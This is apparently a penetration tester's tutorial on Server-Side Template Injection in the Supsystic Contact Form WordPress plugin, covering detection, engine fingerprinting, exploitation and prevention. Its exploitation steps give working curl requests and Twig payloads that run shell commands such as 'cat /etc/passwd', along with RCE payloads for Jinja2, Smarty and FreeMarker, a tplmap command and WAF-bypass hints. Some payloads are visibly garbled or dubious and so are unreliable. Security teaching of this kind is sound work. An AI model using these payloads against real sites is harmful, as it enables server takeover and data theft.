Technical Analysis of Supsystic Contact Form SSTI
During a recent penetration test for a mid-sized Indian fintech firm, I encountered a series of WordPress instances running outdated versions of the Supsystic Contact Form plugin. While many researchers focus on common SQL injection or XSS vulnerabilities, the presence of template engines in WordPress plugins often introduces a more critical class of vulnerability: Server-Side Template Injection (SSTI). This flaw is a sophisticated form of injection, a category consistently featured in the OWASP Top 10. This flaw allows an attacker to inject malicious payloads into a template, which are then executed on the server, frequently leading to Remote Code Execution (RCE).
I observed that many Indian SMEs and government-affiliated service providers hosting on local VPS providers like E2E Networks or Netmagic often neglect plugin updates. These environments typically run legacy PHP 7.4 stacks where security configurations like open_basedir are improperly set. Under the Digital Personal Data Protection (DPDP) Act 2023, the resulting data breaches from such oversights carry significant financial penalties, making the identification and remediation of SSTI a high-priority task for Indian security professionals.
Introduction to Server-Side Template Injection (SSTI)
What is Server-Side Template Injection?
SSTI happens when an application uses a template engine to dynamically generate HTML, but fails to sanitize user input that is passed directly into the template string. Template engines like Twig, Smarty, or Jinja2 are designed to mix static content with dynamic data. If an attacker can control the template string itself, rather than just the variables passed to it, they can execute arbitrary code within the context of the template engine.
In the Supsystic Contact Form plugin, I found that certain administrative endpoints allowed users to modify the form's HTML structure. Because the plugin utilized the Twig template engine to render these custom layouts, it created a direct path for injection. If the Twig_Loader_String class is used without a restricted environment, the server treats the injected string as executable code.
The Impact of SSTI: From Data Leakage to RCE
The impact of a successful SSTI attack is rarely limited to simple data leakage. Depending on the engine and the underlying language (PHP, Python, or Java), an attacker can escalate from reading environment variables to full system compromise. In the context of a WordPress site, this usually means accessing the wp-config.php file, dumping the database, and installing web shells. Managing these servers securely requires a browser based SSH client that eliminates the need for static keys and provides granular session auditing.
I have seen instances where SSTI was used to bypass Web Application Firewalls (WAFs) because the payloads often look like legitimate template syntax rather than traditional attack vectors like <script> tags or SQL keywords. Organizations can improve detection by integrating logs into a SIEM platform to identify pattern-based anomalies. For Indian organizations, a breach of this magnitude could result in fines reaching up to ₹250 crore under the DPDP Act guidelines for failing to implement reasonable security safeguards.
Why SSTI is Often Overlooked by Developers
Developers often assume that template engines are inherently safe because they provide automatic escaping for XSS. However, they confuse "data" with "code." When a developer allows a user to define a "custom layout" or "email template," they are essentially giving that user the ability to write code. The complexity of modern template engines, which include features like file system access and object instantiation, is frequently underestimated during the development lifecycle.
How Template Engines Work
The Role of Template Engines in Web Development
Template engines simplify the process of generating dynamic web pages by separating the presentation layer from the business logic. Instead of hard-coding HTML inside PHP or Python scripts, developers use placeholders. At runtime, the engine replaces these placeholders with actual data. This is standard practice in modern frameworks like Laravel (Blade), Symfony (Twig), and Flask (Jinja2).
Static vs. Dynamic Content Rendering
Static rendering involves passing a fixed template file and a set of variables to the engine. This is generally secure. Dynamic rendering, however, involves building the template string on the fly using user input. This is where the Supsystic plugin failed. By allowing the form_html parameter to be interpreted as a template, the application moved from safe variable substitution to unsafe code execution.
Common Template Engines (Jinja2, Twig, Smarty, Velocity)
- Twig (PHP): Heavily used in WordPress and Symfony. It uses
{{ ... }}for expressions and{% ... %}for logic. - Smarty (PHP): An older but still prevalent engine. It uses
{ ... }syntax. - Jinja2 (Python): The standard for Flask and Django. Its syntax is very similar to Twig.
- Velocity/FreeMarker (Java): Common in enterprise environments and older Indian banking portals.
Detecting SSTI Vulnerabilities
Identifying Potential Injection Points
We start by identifying any input field that reflects data back into a rendered page, especially in administrative panels or "preview" features. In WordPress plugins, I focus on settings pages, contact form builders, and email notification editors. I used wpscan to identify the plugin version and potential attack surface. This is similar to the process of detecting cPanel backdoors during automated forensics.
$ wpscan --url http://target-site.in --enumerate p --plugins-detection aggressive
If the scan reveals an outdated version of Supsystic Contact Form (e.g., version < 1.4.13), I immediately look for AJAX actions that handle form saving or rendering. The admin-ajax.php endpoint is a frequent target because it often bypasses standard frontend security checks.
Using Fuzzing Payloads for Initial Detection
To detect SSTI, we use specific polyglot payloads designed to trigger different engines. I typically start with a simple mathematical operation. If the server returns the result of the operation, the site is vulnerable. I use curl to send a POST request to the vulnerable endpoint.
$ curl -X POST -d "action=cfs_save_form&form_html={{7*7}}&id=1" http://target-site.in/wp-admin/admin-ajax.php
If the response contains "49", we have confirmed that the input is being evaluated by a template engine. If it returns "{{7*7}}", the input is either being escaped or not processed as a template.
The Mathematical Expression Test (${7*7})
Different engines use different delimiters. While {{77}} is standard for Twig and Jinja2, other engines might require ${77} or <%= 7*7 %>. I run a battery of tests to narrow down the engine type:
${7*7}- Common in Java-based engines and Smarty.{{7*7}}- Common in Twig and Jinja2.#{7*7}- Used in Ruby-based engines like ERB.[[7*7]]- Used in some Go and JavaScript engines.
Identifying the Underlying Template Engine
Using Decision Trees for Engine Identification
Once we know the application is vulnerable, we must identify the specific engine to craft an RCE payload. I follow a decision tree based on how the engine handles specific syntax errors or unique functions. For example, if {{7*'7'}} returns 49, it is likely Jinja2 (Python). If it returns 7777777, it is likely Twig (PHP).
Syntax Differences Between Python, PHP, and Java Engines
The behavior of basic operators provides clues. In Twig (PHP), the _self object is often available, giving us access to the environment. In Jinja2 (Python), we look for __class__ or __mro__ to climb the object tree. In Java engines, we might look for java.lang.Runtime.
# Testing for Twig (PHP){{_self}}
Testing for Jinja2 (Python)
{{config.items()}}
Interpreting Error Messages for Clues
If the application has WP_DEBUG enabled—which is common in many Indian development environments—the error messages will explicitly state the engine and the line of code where the failure occurred. Look for strings like Twig_Error_Syntax or SmartyCompilerException.
Step-by-Step SSTI Exploitation Tutorial
Step 1: Confirming the Vulnerability
We verified the vulnerability using the {{7*7}} payload. In the Supsystic plugin, the vulnerable code pattern often looks like this in the backend PHP files:
/ Vulnerable Twig Implementation Pattern /
// Located in classes/models/contact_form.php $twig = new Twig_Environment(new Twig_Loader_String()); $rendered_html = $twig->render($_POST['form_html_content'], array( 'user_email' => $current_user->user_email, 'site_url' => get_site_url() )); echo $rendered_html;
The use of Twig_Loader_String is a major red flag. It tells Twig to treat the input string itself as a template rather than a path to a template file.
Step 2: Exploring the Environment and Context
Before jumping to RCE, I explore what objects are available in the current context. In Twig, the _self variable is a reference to the current Twig_Template instance. We can use it to access the env (environment) object.
$ curl -X POST -d "action=cfs_save_form&form_html={{_self.env}}&id=1" http://target-site.in/wp-admin/admin-ajax.php
This allows us to see the configuration of the template engine, including whether filters like system or exec are blocked (they rarely are in vulnerable plugins).
Step 3: Accessing Sensitive Objects and Attributes
In many WordPress environments, the goal is to read the wp-config.php file. While SSTI is primarily for execution, we can use the engine's built-in filters to read files if the engine allows it. However, the more common path is to execute a shell command to cat the file. You can find more details on these vulnerabilities in the NIST NVD database.
I also check for CVE-2017-16802, which is a directory traversal vulnerability in Supsystic Contact Form. Combining SSTI with directory traversal allows an attacker to read any file the web server has access to.
Step 4: Achieving Remote Code Execution (RCE)
To achieve RCE in Twig, we leverage the registerUndefinedFilterCallback or the sort filter in older versions. However, the most reliable method in modern Twig (if not properly sandboxed) is using the map or filter functions to execute arbitrary PHP functions.
# Payload to execute 'id' command{{['id']|map('system')|join}}
Payload to execute 'ls -la'
{{['ls -la']|map('system')|join}}
I send this via curl to the vulnerable endpoint:
$ curl -X POST -d "action=cfs_save_form&form_html={{['cat /etc/passwd']|map('system')|join}}&id=1" http://target-site.in/wp-admin/admin-ajax.php
SSTI Payloads for Popular Frameworks
Exploiting Jinja2 (Python/Flask)
In Python environments, we use the __mro__ (Method Resolution Order) to find the object class and then locate the os module. This is common in custom-built Python applications used by Indian startups for internal dashboards.
{{ self.__class__.__mro__[2].__subclasses__()40.read() }}
Exploiting Twig and Smarty (PHP)
For Smarty, the payload is often simpler because it allows direct access to PHP functions through the {php} tag (in older versions) or the getStreamVariable method.
{smart_template_function_name('phpinfo()')}
{system('ls')}
Exploiting FreeMarker and Velocity (Java)
Java engines are more restrictive but often allow access to the Execute class. I have seen this in legacy banking middleware used in India.
<#assign ex="freemarker.template.utility.Execute"?new()> ${ ex("id") }
How to Prevent Server-Side Template Injection
Never Pass User Input Directly into Templates
The most effective defense is to never allow user-controlled strings to be used as templates. User input should only be passed as data variables. Instead of using Twig_Loader_String, always use Twig_Loader_Filesystem and load templates from a secure, read-only directory.
Implementing Strict Input Validation and Sanitization
If you must allow users to provide template-like syntax, use a strict allowlist of allowed characters and patterns. Block delimiters like {{, {%, and ${. However, blacklisting is often bypassed by encoding or alternative syntaxes, so it should not be the primary defense.
Using Sandboxed Template Environments
Most modern template engines offer a "Sandbox" mode. In Twig, you can define a SecurityPolicy that restricts which tags, filters, and methods are available to the template. This is essential if you are building a platform that allows user-generated content.
$policy = new Twig_Sandbox_SecurityPolicy($tags, $filters, $methods, $properties);
$sandbox = new Twig_Extension_Sandbox($policy, true); $twig->addExtension($sandbox);
Logic Separation: Keeping Business Logic Out of Templates
Templates should only contain presentation logic. Any complex operations or system calls should be handled in the backend code before the data is passed to the engine. This reduces the attack surface even if an injection occurs.
Tools for SSTI Testing and Automation
Using Tplmap for Automated Exploitation
Tplmap is the "sqlmap" of SSTI. It automates the process of identifying and exploiting SSTI vulnerabilities across multiple engines. It is my go-to tool for verifying findings during a large-scale audit.
$ python tplmap.py -u "http://target-site.in/wp-admin/admin-ajax.php" --data "action=cfs_save_form&form_html=abc&id=1"
Burp Suite Extensions for SSTI Detection
I recommend using the "SSTI Scanner" extension in Burp Suite Professional. It automatically injects payloads into all parameters and flags responses that indicate successful evaluation. This is particularly useful for finding "blind" SSTI where the output isn't directly visible.
Manual Payload Repositories (PayloadsAllTheThings)
For manual testing, the "PayloadsAllTheThings" repository on GitHub is the definitive resource. It contains categorized payloads for every major template engine and language. I keep a local clone of this repo on my testing machine for quick reference.
Next Steps for Security Researchers
After identifying an SSTI vulnerability in a WordPress plugin like Supsystic, the next step is to perform a full source code audit of the plugin's AJAX handlers. Use grep to find other instances where Twig_Loader_String or similar dangerous constructors are used.
$ grep -rnE "Twig_Loader_String|createTemplate|render\(" wp-content/plugins/contact-form-by-supsystic/
In the Indian context, always check if the server is behind a localized WAF or CDN like Cloudflare's India nodes. You may need to use bypass techniques such as URL encoding or using specific Twig filters like |raw to get your payload through. If you find a new vulnerability, report it to CERT-In (Indian Computer Emergency Response Team) to help secure the national digital infrastructure and ensure compliance with the latest cybersecurity mandates.
